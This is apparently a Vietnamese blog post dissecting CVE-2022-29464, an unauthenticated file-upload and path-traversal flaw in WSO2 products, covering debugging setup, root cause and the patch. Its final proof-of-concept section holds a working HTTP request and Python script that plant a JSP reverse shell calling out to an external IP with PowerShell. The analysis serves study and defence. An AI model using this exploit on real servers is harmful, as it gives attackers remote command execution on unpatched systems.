Post

(Vietnamese) CVE-2022-29464, WSO2 unrestricted arbitrary file upload leads to RCE

My deep dive analysis into CVE-2022-29464

(Vietnamese) CVE-2022-29464, WSO2 unrestricted arbitrary file upload leads to RCE

https://nvd.nist.gov/vuln/detail/cve-2022-29464

I. Overview

CVE-2022-29464 là lỗ hổng nghiêm trọng dẫn đến thực thi mã từ xa (RCE) ảnh hưởng đến các ứng dụng của WSO2 bao gồm API Manager, Identity Server, Enterprise IntegratorOpen Banking. Lỗ hổng xuất phát từ tính năng upload file nhưng không kiểm tra tên và nội dung của tệp, tạo điều kiện cho phép kẻ tấn công tải lên mã độc kết hợp kỹ thuật Path Traversal đặt tệp vào vị trí tùy ý, từ đó khiến các tệp độc hại trên tự động được thực thi.

Hình ảnh minh hoạ một Infection Chain khai thác lỗ hổng CVE-2022-29464 trên WSO2: kẻ tấn công cài đặt web shell thông qua tệp JSP/WAR, từ đó thực thi mã để triển khai Cobalt Strike (backdoor) và cài đặt phần mềm đào tiền ảo.

img1

1. About WSO2

Trước tiên, ta cần biết tới WSO2 - một công ty middleware mã nguồn mở dẫn đầu trong sản xuất phần mềm cho phép quản lý và điều hành các giao diện lập trình ứng dụng (API), quản lý danh tính và truy cập (IAM), cũng như việc triển khai - tích hợp phần mềm và hệ thống.

Các tổ chức trong nhiều lĩnh vực như dịch vụ tài chính, y tế, chính phủ, viễn thông và bán lẻ đều sử dụng sản phẩm của WSO2. Các sản phẩm này được thiết kế để các doanh nghiệp kết nối những hệ thống riêng lẻ khác nhau, giúp chia sẻ dữ liệu và chức năng giữa chúng.

Các sản phẩm kể trên đều được viết bằng Java, ngoài ra một số dịch vụ như WSO2 Identity Server và API Manager, … có tích hợp thêm tính năng upload file – yếu tố liên quan trực tiếp đến lỗ hổng CVE-2022-29464.

2. Products and their particular version affected by this CVE

  • WSO2 API Manager 2.2.0 - 4.0.0
  • WSO2 Identity Server 5.2.0 - 5.11.0
  • WSO2 Identity Server Analytics 5.4.0 - 5.6.0
  • WSO2 Identity Server as Key Manager 5.3.0 - 5.10.0
  • WSO2 Enterprise Integrator 6.2.0 - 6.6.0
  • WSO2 Open Banking AM 1.3.0 - 2.0.0
  • WSO2 Open Banking KM 1.3.0 - 1.5.0
  • WSO2 Open Banking IAM 2.0.0

II. Set up local debug environment

Ở đây, mình sử dụng IDE Intellij với JDK 11.0.3 để phù hợp với ứng dụng bị ảnh hưởng của WSO2. Chúng ta có thể chọn một ứng dụng có phiên bản bị ảnh hưởng bất kỳ trong số những cái được nêu bên trên, ở đây mình chọn wso2is ver 5.10.0

Sau khi tải source code WSO2 Identity Server 5.10.0, tiến hnàh giải nén và mở nó trong Intellij. Giờ ta sẽ thực hiện một số việc cần thiết để có thể debug được route chứa CVE-2022-29464

Đầu tiên, nếu trong máy đang có nhiều phiên bản Java, chúng ta sẽ sử dụng powershell để set tạm biến môi trường JAVA trong phiên làm việc hiện tại của Intellij về JDK11 (mục này nhằm phục vụ nhát nữa chạy file bat)

1
2
$env:JAVA_HOME = "path to JDK11 folder"
$env:Path = "$env:JAVA_HOME\bin;$env:Path"

image

Tại cửa sổ Project Structure (CTRL ALT SHIFT S), cũng chỉ định JDK version trỏ vào thư mục tương tự như trên

image

Tiếp theo, ta chọn edit configuration ở khu vực run - debug của Intellij và tạo thêm 2 config profile, bao gồm:

  • Remote JVM Debug: dùng để gắn debugger vào một JVM đang chạy (remote debugging) => Chỉ cần add thêm và tự động được điền các thông số
  • JAR Application: chạy ứng dụng từ file WAR/JAR trong Intellij, cho phép IDE load và decompile các class để đọc mã nguồn => Chọn file cần load tại \repository\components\plugins\org.wso2.carbon.ui_4.6.0.jar

img

Sau khi hoàn thành bước trên, chúng ta sẽ thấy phần nội dung của file JAR org.wso2.carbon.ui_4.6.0.jar đã được hiển thị chi tiết. Có thể thấy tại org.wso2.carbon.ui/transports/fileupload có hiển thị class FileUploadServlet, đây chính là class xử lý route gây ra lỗ hổng được phân tích trong bài

Tại /bin/wso2server.bat ta tiến hành thêm lệnh nhận remote debug vào ngay sau :runServer, cụ thể:

1
2
3
4
5
6
:runServer
cd %CARBON_HOME%

rem =====================================
set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
rem =====================================

Sau đó, ta có thể chạy thử remote debug vừa cài, nếu báo về Connected tức ta đã thành công

img

Vậy là đã hoàn thành việc set up, giờ ta sẽ chạy file wso2server.bat tương ứng với OS Windows để khởi chạy WSO2 Identity Server tại local. Đặt một breakpoint tại method doPost của class FileUploadServlet để tiện test remote debug hoạt động

CVE-2022-29464

Tiến hành tạo một request sao cho trigger breakpoint trên:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Length: 157

------WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Disposition: form-data; name="./"; filename="hehe.jsp"

hehe

------WebKitFormBoundaryRXZulECZUI6kfQJ2--

Tiến hành send req và sau đó breakpoint đã hit trong Intellij, vậy là mình đã thành công set up được môi trường để debug CVE-2022-29464

image

III. Root Cause

Trong phần nội dung này, mình sẽ giải thích chi tiết về nguyên nhân gốc rễ trong từng cấu hình, từng cách triển khai code đã dẫn tới lỗ hổng. Những thông tin đều được mình trích từ những nguồn tài liệu / nội dung chính thống của WSO2 Identity Server version 5.10.0 lấy tại đây (không phải nguồn trust me bro từ các bài blog ngẫu nhiên)

Nguyên nhân gốc rễ của lỗ hổng xuất phát từ việc có nhiều sai sót trong cấu hình và triển khai mã nguồn chương trình dẫn đến việc kẻ tấn công có thể thực thi các tệp JSP hoặc code Java Web Application Archive (WAR). Cụ thể, những lỗi khác nhau đã cấu thành nên lỗ hổng bao gồm:

  • Cho phép mọi request hướng tới các đường dẫn chứa /fileupload hoặc /fileupload/ được phép truy cập mà không cần xác thực
  • Trường filename trong header Content-Disposition của HTTP request có thể bị Path Traversal bằng chuỗi đường dẫn dạng ../ do không được kiểm tra nội dung trước khi thực thi
  • Các trình xử lý tệp (file handlers) phụ trách các loại tệp tải lên sẽ thực thi tệp JSP hoặc code nằm trong WAR

First glance at the Patch for this CVE

Vì là một CVE n-day, các thông tin về bản vá cũng như cách phòng chống đã có đầy đủ trên document của WSO2, cụ thể là tại mục References của tài liệu này. Trong phần nội dung này có trích dẫn 2 pull request quan trọng

image

Với tiêu đề Remove Unnecessary file uploader classes and improve parent path validation. #3152, ta có thể hiểu đây là pull request patch lại lỗ hổng được phát hiện từ CVE-2022-29464. Đi sâu hơn vào những gì đã được chỉnh sửa trong lần merge code này, ta có thể chú ý những điểm quan trọng như sau:

  • Xoá các file AnyFileUploadExecutor.java, JarZipUploadExecutor.java, KeyStoreFileUploadExecutor.java, ToolsAnyFileUploadExecutor.java, ToolsFileUploadExecutor.java đồng thời xoá mapping của FileUploadConfig tại core/org.wso2.carbon.base/src/test/resources/carbon.xml

image

  • Tại ..../services/fileupload/FileUploadService.java, xuất hiện một hàm mới tên là verifyCanonicalDestination(). Nội dung của hàm này được đề cập ở ngay phía bên dưới lời gọi hàm

image

image

Giải thích chi tiết về cách hàm trên hoạt động:

  • Nhận vào 3 tham số là
    • extraFileLocation: đường dẫn phụ vào thư mục con (kiểu /uploads/logs hoặc /uploads/profile) thì logs và profile được gọi là extraFileLocation
    • dirs: Thư mục mà ta cho phép người dùng upload file lên
    • filename: Tên file user muốn upload
  • Sử dụng getCanonicalPath() đây là một method của java.io.File có tác dụng loại bỏ các dấu ... trong path nếu có xuất hiện

Sử dụng các thuộc tính trên, họ kiểm tra thư mục sau khi qua getCanonicalPath() của một là expected directory và một là user case directory. Tức nếu user có tiến hành thêm ../ để Path Traversal upload vào thư mục khác thì sẽ false cái điều kiện trên ngay và nhảy vào trong câu lệnh điều kiện if => Trả về Fault và ngăn upload file

=> Từ những phân tích trên, ta có thể biết endpoint /fileupload cùng FileUploadServlet và những file bị xoá sẽ có một tác dụng gì đó trong quá trình reproduce CVE


1. Unauthenticated access to /fileupload*

Đầu tiên, ta cần tìm hiểu những phần nào được triển khai để làm nhiệm vụ quản lý Access Control của WSO2 IS 5.10.0, từ đó nhận biết được lí do tại sao lại có thể truy cập vào endpoint /fileupload/* mà không cần xác thực

Trong tài liệu mô tả của WSO2 Identity Server 5.10.0, mình tìm thấy một hình ảnh minh hoạ cách các sản phẩm của WSO2 triển khai việc quản lý các chức năng của người dùng:

image

Để dễ hình dung, mình sẽ miêu tả lại lược đồ trên bằng lời. Ta có thể hiểu trong các sản phẩm của WSO2 có một thành phần gọi là User Realm. User Realm này bao gồm các cấu hình cần thiết để khởi tạo chính nó.

Cụ thể những cấu hình cần thiết đó được đặt tại file deployment.toml nằm ở directory <IS_HOME>/repository/conf/. Trong WSO2 IS 5.10.0, mình thấy nó được cấu hình như này:

image

Hiện tại, những thông tin của cấu hình ứng dụng IS 5.10.0 ở deployment.toml chưa có gì bất thường hoặc nguy hiểm để kết luận nó là nguyên nhân gây ra lỗ hổng (vì hiện nó không config gì liên quan tới authenticate). Thế nhưng không phải mỗi deployment.toml là nơi duy nhất thực hiện xác thực client request. Những vị trí còn lại thực hiện chức năng này mới là nơi gây ra lỗ hổng này

1.1 Security Misconfiguration 1

Vậy là chúng ta đã có cái nhìn rõ ràng hơn về cách User Access Control trong WSO2 được triển khai. Giờ ta sẽ kiểm tra thêm những thông tin về authenticate của endpoint /fileupload trong source code WSO2 Identity Server version 5.10.0, ta thấy có những config đáng chú ý sau đây:

CVE-2022-29464

Như có thể thấy, tại /repository/conf/identity/identity.xml. Ta có secured="false" với tất cả các truy cập vào /fileupload

1
<Resource context="(.*)/fileupload(.*)" secured="false" http-method="all"/>

Trong cấu hình của WSO2, theo mình tìm hiểu được từ nội dung của bài đăng này trên StackOverFlow và tại WSO2 doc (ảnh dưới đây), ta có thể tóm lược như sau:

image

Việc kiểm soát bảo mật cho các endpoint của các ứng dụng WSO2 mặc định được định nghĩa trong file identity.xml, nằm tại thư mục /repository/conf/identity

Vớisecured="true" => Các request gửi tới endpoint này sẽ được yêu cầu phải xác thực, nếu chưa xác thực sẽ return về 401 Unauthorized

Để giải quyết vấn đề trên, ta có 2 hướng:

  • Gửi kèm credentials trong header Authorization: Basic base64encoded(username:password)
  • Tắt luôn chức năng secure bằng cách secure="false" => Không cần xác thực nữa

Vậy là trong trường hợp của CVE này, lập trình viên đã vô tình tắt luôn cả chức năng xác thực của endpoint /fileupload dẫn tới việc có thể thao tác với endpoint này mà không cần một credentials => 1st Security Misconfiguration.


1.2 Security Misconfiguration 2

Chưa dừng lại ở một Security Misconfiguration duy nhất, ta có lỗi Security Misconfiguration thứ hai đến từ cách hàm handleSecurity() triển khai bảo mật với các request đi vào server.

Về cụ thể vì sao chắc chắn handleSecurity sẽ được gọi thì theo mình tìm hiểu được, việc này đến từ mặc định của HttpContext là sẽ luôn gọi handleSecurity() để chặn req và kiểm tra bảo mật trước khi làm bất cứ điều gì. Mặc dù chưa tìm được tài liệu đề cập chính xác đến vấn đề này của WSO2 mà chỉ thấy nhận định trong các bài blog, mình vẫn có thể chứng minh được quan điểm này là chính xác qua những luận cứ dưới đây

Mình tiến hành tìm hàm này trong source code, đặt breakpoint tại vị trí tương ứng lời gọi hàm để kiểm tra liệu breakpoint có được hit

image image

Upload thử một file vào endpoint /fileupload như mình đã làm khi set up debug, ta thấy breakpoint đã thực sự được hit. Trong stacktrace ta có thể thấy thứ tự gọi như sau:

  1. CarbonSecuredHttpContext gọi method handleSecurity
  2. CarbonUILoginUtil gọi method handleLoginPageRequest

CVE-2022-29464


Ở đây mình có pause lại để tìm hiểu thêm về lý do handleSecurity() được gọi, theo như góc nhìn cá nhân của mình nhận định lý do như sau, ta hãy xem sơ đồ quan hệ bên dưới:

  • Phương thức handleSecurity() nằm trong class CarbonSecuredHttpContext
  • Class CarbonSecuredHttpContext kế thừa từ class SecuredComponentEntryHttpContext
  • Class SecuredComponentEntryHttpContext lại kế thừa từ class BundleEntryHttpContext
  • Class BundleEntryHttpContext được import thẳng từ thư viện org.eclipse.equinox.http.helper.BundleEntryHttpContext

Thực sự mình cũng không tìm được nhiều thông tin về thư viện trên cũng như BundleEntryHttpContext, nhưng theo cách đặt tên mình sẽ ngầm hiểu nó về bản chất vẫn extends từ HTTPContext raw của org.osgi.service.http.

Ngoài ra, các Servlet của Java trong trường hợp của WSO2 IS 5.10.0 này được khởi tạo từ httpService, Servlet chịu trách nhiệm xử lý request từ client, sau đó giao tiếp với các thành phần khác trong hệ thống như cơ sở dữ liệu, phần back-end logic của ứng dụng rồi tạo phản hồi ngược lại

Các Servlet sử dụng commonContext, được khởi tạo với kiểu dữ liệu HttpContext, là một instance của CarbonSecuredHTTPContext:

image

Trong tài liệu của thư viện này mô tả HTTPContext cùng method handle Security của nó như sau:

image

Note: HTTPContext defines methods that the Http Service may call to get information about a registration.

Như vậy với lập luận và hình ảnh tài liệu trên, ta thấyhanldeSecurity() được ưu tiên gọi trước khi thao tác bất cứ điều gì với request để kiểm tra bảo mật => Vấn đề đã có lời giải


Thông qua việc debug và suy luận, mình đã thành công chứng minh được handleSecurity() của class CarbonSecuredHttpContext được gọi. Việc này có ý nghĩa cụ thể như sau:

  • handleSecurity() là phương thức chịu trách nhiệm bảo mật cho các route mà WSO2 có, đồng thời cung cấp cơ chế thực hiện các kiểm tra bảo mật trên HTTP request nhận được
  • handleSecurity() sẽ gọi phương thứchandleLoginPageRequest() của class CarbonUILoginUtil, và dựa trên giá trị trả về của nó mà quyết định cho phép hay từ chối truy cập vào đường dẫn được yêu cầu

Nội dung của phương thức trên được triển khai như dưới đây, vì phần câu lệnh if rất dài nên thay vì ảnh mình sẽ để nguyên source code bên dưới đây. Ta sẽ chỉ quan tâm đến câu lệnh điều kiện - if đầu tiên:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    protected static int handleLoginPageRequest(String requestedURI, HttpServletRequest request, HttpServletResponse response, boolean authenticated, String context, String indexPageURL) throws IOException {
        if (requestedURI.indexOf("login.jsp") <= -1 && requestedURI.indexOf("login_ajaxprocessor.jsp") <= -1 && requestedURI.indexOf("admin/layout/template.jsp") <= -1 && !requestedURI.endsWith("/filedownload") && !requestedURI.endsWith("/fileupload") && requestedURI.indexOf("/fileupload/") <= -1 && requestedURI.indexOf("login_action.jsp") <= -1 && requestedURI.indexOf("admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp") <= -1 && requestedURI.indexOf("tryit/JAXRSRequestXSSproxy_ajaxprocessor.jsp") <= -1) {
            return 2;
        }


        // From here above


        else if ((requestedURI.indexOf("login.jsp") > -1 || requestedURI.indexOf("login_ajaxprocessor.jsp") > -1 || requestedURI.indexOf("login_action.jsp") > -1) && authenticated) {
            if (request.getSession().getAttribute("tenantDomain") != null) {
                String tenantDomain = (String)request.getSession().getAttribute("tenantDomain");
                if (tenantDomain != null && !"carbon.super".equals(tenantDomain)) {
                    context = context + "/t/" + tenantDomain;
                }
            }

            if (log.isDebugEnabled()) {
                log.debug("User already authenticated. Redirecting to " + indexPageURL);
            }

            response.sendRedirect(context + "/carbon/admin/index.jsp");
            return 0;
        } else if (requestedURI.indexOf("login_action.jsp") > -1 && !authenticated) {
            if (log.isDebugEnabled()) {
                log.debug("User is not yet authenticated and now trying to get authenticated;do nothing, leave for authentication at the end");
            }

            return 2;
        } else {
            if (log.isDebugEnabled()) {
                log.debug("Skipping security checks for " + requestedURI);
            }

            return 1;
        }
    }

Theo góc nhìn của mình, đọc lại đoạn code trên của dev triển khai chức năng trong handleLoginPageRequest(), mình đang hiểu họ muốn thực hiện như sau:

  • Return 0: Nếu request tới trang login và người dùng đã xác thực (authenticated = 1), thì sẽ redirect người dùng tới trang chính (index.jsp) vì họ đã đăng nhập rồi, không cần phải đăng nhập lại
  • Return 2: Nếu request tới trang login và người dùng chưa xác thực (authenticated = 0), thì sẽ không làm gì
  • Return 1: Nếu yêu cầu không phải là trang login hoặc các trang đặc biệt như /fileupload, thì sẽ bỏ qua kiểm tra bảo mật và cho phép tiếp tục xử lý bình thường

Thế nhưng mình cũng không hiểu tại sao họ lại thêm /fileupload/fileupload/ và trong câu lệnh điều kiện dưới đây

1
2
3
4
// ta chỉ cần quan tâm tới 2 điều kiện này
if (.... && !requestedURI.endsWith("/fileupload") && requestedURI.indexOf("/fileupload/") <= -1 && ....){
    return 2;
}

Theo logic đoạn check này:

  • Hoặc tìm thấy /fileupload/ trong requestedURI, ở bất cứ vị trí nào
  • Hoặc requestedURI kết thúc với /fileupload

=> Sẽ không rơi vào 2 nhánh if và else if => từ đó rơi vào nhánh else và return 1 (Skipping security test for .....) tức cho phép truy cập nhánh mà không cần authentication => 2nd Security Misconfiguration

CVE-2022-29464

1.5 Debug analysis, ToolAny

Với việc CarbonUILoginUtil.handleLoginPageRequest() trả về CarbonUILoginUtil.RETURN_TRUE, thì handleSecurity() của CarbonSecuredHttpContext sẽ trả về true, từ đó quyền truy cập sẽ được cấp cho /fileupload/* mà không cần authentication

Sau khi trải qua quá trình xác thực nửa vời, ta tới được FileUploadServlet, khi này với những request gửi tới là method POST, chương trình sẽ xử lý logic trong doPost, nếu là GET thì sẽ bị return về 406

CVE-2022-29464

method doPost của FileUploadServlet chỉ forward request và response sang cho fileUploadExecutorManager.execute(), mình tiến hành đi vào method này để phân tích thêm, thì trong method này có những phần nội dung quan trọng như sau:

  • Tách request URL ngay sau chuỗi fileupload/, tức là nó sẽ lấy ra toàn bộ phần nằm sau /fileupload/ trong request URL và gán nó vào actionString
  • Giá trị hiện tại của actionString là toolsAny với payload mình truyền vào endpoint /fileupload/toolsAny

CVE-2022-29464

1
2
3
4
5
6
7
8
9
FileUploadExecutionHandlerManager execHandlerManager = new FileUploadExecutionHandlerManager();
CarbonXmlFileUploadExecHandler carbonXmlExecHandler = new CarbonXmlFileUploadExecHandler(request, response, actionString);
execHandlerManager.addExecHandler(carbonXmlExecHandler);
OSGiFileUploadExecHandler osgiExecHandler = new OSGiFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(osgiExecHandler);
AnyFileUploadExecHandler anyFileExecHandler = new AnyFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(anyFileExecHandler);
execHandlerManager.startExec();
return true;
  • actionString được truyền vào hàm khởi tạo của carbonXmlExecHandler để lưu lại giá trị này
  • execHandlerManager là một instance của FileUploadExecutionHandlerManager, đúng như tên gọi ta có thể hiểu nó chịu trách nhiệm xử lý thực thi file được upload lên
  • Ngoài ra, có 2 object khác cũng được khởi tạo và truyền vào execHandlerManager bằng method addExecHandler của nó, nhưng không bao gồm actionString như thằng carbonXmlExecHandler

Sau khi khởi tạo xong, chương trình sẽ gọi method startExec() của execHandlerManager. Rồi từ đây lại gọi method execute() của firstHandler, tức thằng Handler được truyền vào đầu tiên ban nãy (CarbonXmlFileUploadExecHandler)

image

Tại đây, nó loop qua một cái HashMap nhưng điều mình thắc mắc trước hết là HashMap này đã được khởi tạo giá trị ở đâu, và có ý nghĩa như thế nào?


Đi tìm câu trả lời, mình mò theo keyword là executorMap, ngay trong cùng file class này mình đã tìm thấy một method tên loadExecutorMap(). Tóm tắt nội dung của phương thức này, nó đang load các dữ liệu ở file carbon.xml, cụ thể hơn là load các action và class tại FileUploadConfig

1
2
3
Iterator actionElementIterator = actionsElement.getChildrenWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Action"));
........
OMElement classElement = mapppingElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Class"));

image

image

Với cách set up như vậy tại /repository/conf/carbon.xml, mỗi action bây giờ sẽ được xử lý bởi chính handler nó được chỉ được trong tag <Class>

loadExecutorMap() được gọi bởi constructor của FileUploadExecuteManager, song lời khởi tạo một instance của class này lại tới từ method init() của FileUploadServlet, mặc định method này được Tomcat gọi khi servlet FileUploadServlet deploy lần đầu tiên lên server. Tức HashMap đã được load ngay từ khi deploy lên production => Đã có câu trả lời cho việc HashMap ở đâu ra

CVE-2022-29464


Quay trở lại với vòng loop qua HashMap với các actionString và Class xử lý tương ứng của nó:

image

Chương trình lặp qua một lượt HashMap, kiểm tra xem giá trị key tức actionString trong HashMap nào bằng actionString của mình truyền vào, ở đây là toolsAny thì sẽ khớp với Object tương ứng, như ta có thể thấy trong HashMap dưới đây object của toolsAnyToolsAnyFileUploadExecutor

image

Chương trình sẽ gọi method executeGeneric() của Object tương ứng actionString, ở đây ToolsAnyFileUploadExecutor không tồn tại method này nhưng vì là kế thừa từ class AbstractFileUploadExecutor nên sẽ gọi trực tiếp tới method của class cha

Tại method này của class cha, đầu tiên nó kiểm tra trước tiên request phải là multipart POST, sau đó trích xuất file upload, đảm bảo có ít nhất một file được upload và kiểm tra kích thước file không vượt quá giới hạn thông qua method parseRequest(). Vì phần nội dung này theo mình đánh giá là không quan trọng nên mình sẽ không tập trung sâu hơn

Sau đó, nó lại gọi tới method execute() của ToolsAnyFileUploadExecutor. Đây chính là vị trí gây ra lỗi Path Traversal, root cause thứ 2 xuất hiện tại đây


2. Path Traversal at filename

Vậy là hiện tại ta đã step into method execute() của ToolsAnyFileUploadExecutor

image

Mình tập trung vào dòng File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());, để mình phân tích qua ý nghĩa khi code như thế này:

  • Dòng này đang sử dụng interface FileItem được kế thừa từ java.io.Serializable để thao tác với đường dẫn
  • dir là thư mục đích đã được tạo trước:
1
2
3
String serviceUploadDir = WORK_DIR + "/extra/" + uuid + "/";
File dir = new File(serviceUploadDir);
dir.mkdirs();
  • method getFieldName trả về trường name được set trong multipart form của request được user gửi đi (untrusted data), được miêu tả cụ thể tại đây

image

Với cách khởi tạo hiện tại new File(dir, fileItem.getFileItem().getFieldName()), đây là một việc làm nguy hiểm bởi hành vi của java.io.File khi resolve parent - child path được truyền vào, cụ thể ta có thể đọc thêm tại bài StackOverFlow này hoặc bài viết phân tích chi tiết này

Tại tài liệu chi tiết về cách sử dụng với trường hợp tham số truyền vào parent là FileObject, child là String, mình tìm được nó miêu tả như sau

image

Điều này có nghĩa là nếu truyền vào child là ../../hehe thì tổng đường dẫn sẽ là parent/../../hehe. Giờ thì mình sẽ chứng minh điều này bằng cách debug

Mình thử upload 1 file với tên bất kỳ lên và tìm kiếm nó trong thư mục gốc, kết quả như ta thấy nó theo format ./tmp/work/extra/$uuid/$filename

image

image

image


Tóm lại, root cause dẫn tới lỗi Path Traversal là tới từ việc sử dụng new File(File parent, String child), với child getFieldName() nhận user input mà không được kiểm tra, sàng lọc kỹ lưỡng

Ta có thể ngăn chặn việc bị Path Traversal này bằng cách sử dụng method getCanonicalPath(), method này sẽ remove tất cả ... chỉ để lại absoulute path. Hoặc nếu vẫn muốn sử dụng như hiện tại, ta cần đảm bảo user input được sàng lọc cẩn thận bằng cách sử dụng whitelist để cho phép những ký tự an toàn.


Như vậy là thông qua Unauthenticated File Upload và Path Traversal, giờ mình đã có thể upload bất kỳ tệp gì lên server, vào bất cứ vị trí nào mình mong muốn. Giờ mình chỉ cần tìm một vị trí nào đó để upload một web shell và server thực thi nó là có thể RCE thành công

WSO2 chạy trên Tomcat, vì vậy nên đơn giản nhất là mình tìm vị trí thư mục này được đặt và upload các web shell vào đó, webapps của Tomcat giống như var/www/html của PHP, là root directory và mọi file (PHP và JSP/WAR tương ứng) được đặt vào đó đều có khả năng bị thực thi.

IV. PoC - Proof of Concepts

Rev shell payload, Host server là Window nên cần sử dụng command của Powershell, cụ thể:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
POST /fileupload/toolsAny HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: hehe
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Length: 1237

------WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/accountrecoveryendpoint/finalAnhcd3.jsp"; filename="finalAnhcd3.jsp"

<%@ page import="java.io.*,java.net.*" %>
<%
    String host = "161.248.30.56";
    int port = 1337;
    String cmd = "powershell";
    try {
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
        OutputStream po = p.getOutputStream(), so = s.getOutputStream();
        while (!s.isClosed()) {
            while (pi.available() > 0)
                so.write(pi.read());
            while (pe.available() > 0)
                so.write(pe.read());
            while (si.available() > 0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            } catch (Exception e) {}
        }
        p.destroy();
        s.close();
    } catch (Exception e) {}
%>

------WebKitFormBoundaryRXZulECZUI6kfQJ2--

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# 1-Click Python Script POC
import requests

url = "http://127.0.0.1:9443/fileupload/toolsAny"

jsp_payload = """<%@ page import="java.io.*,java.net.*" %>
<%
String host = "161.248.30.56";
int port = 1337;
String cmd = "powershell";
try {
    Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s = new Socket(host, port);
    InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
    OutputStream po = p.getOutputStream(), so = s.getOutputStream();
    while (!s.isClosed()) {
        while (pi.available() > 0) so.write(pi.read());
        while (pe.available() > 0) so.write(pe.read());
        while (si.available() > 0) po.write(si.read());
        so.flush();
        po.flush();
        Thread.sleep(50);
        try {
            p.exitValue();
            break;
        } catch (Exception e) {}
    }
    p.destroy();
    s.close();
} catch (Exception e) {}
%>
"""

field_name = "../../../../repository/deployment/server/webapps/accountrecoveryendpoint/finalAnhcd3.jsp"

headers = {
    "User-Agent": "hehe",
    "Accept": "*/*",
    "Connection": "close"
}

files = {
    field_name: ("finalAnhcd3.jsp", jsp_payload, "application/octet-stream")
}

response = requests.post(url, headers=headers, files=files, verify=False)

print("[+] Status:", response.status_code)
print("[+] Response text:", response.text)

V. References

This post is licensed under CC BY 4.0 by the author.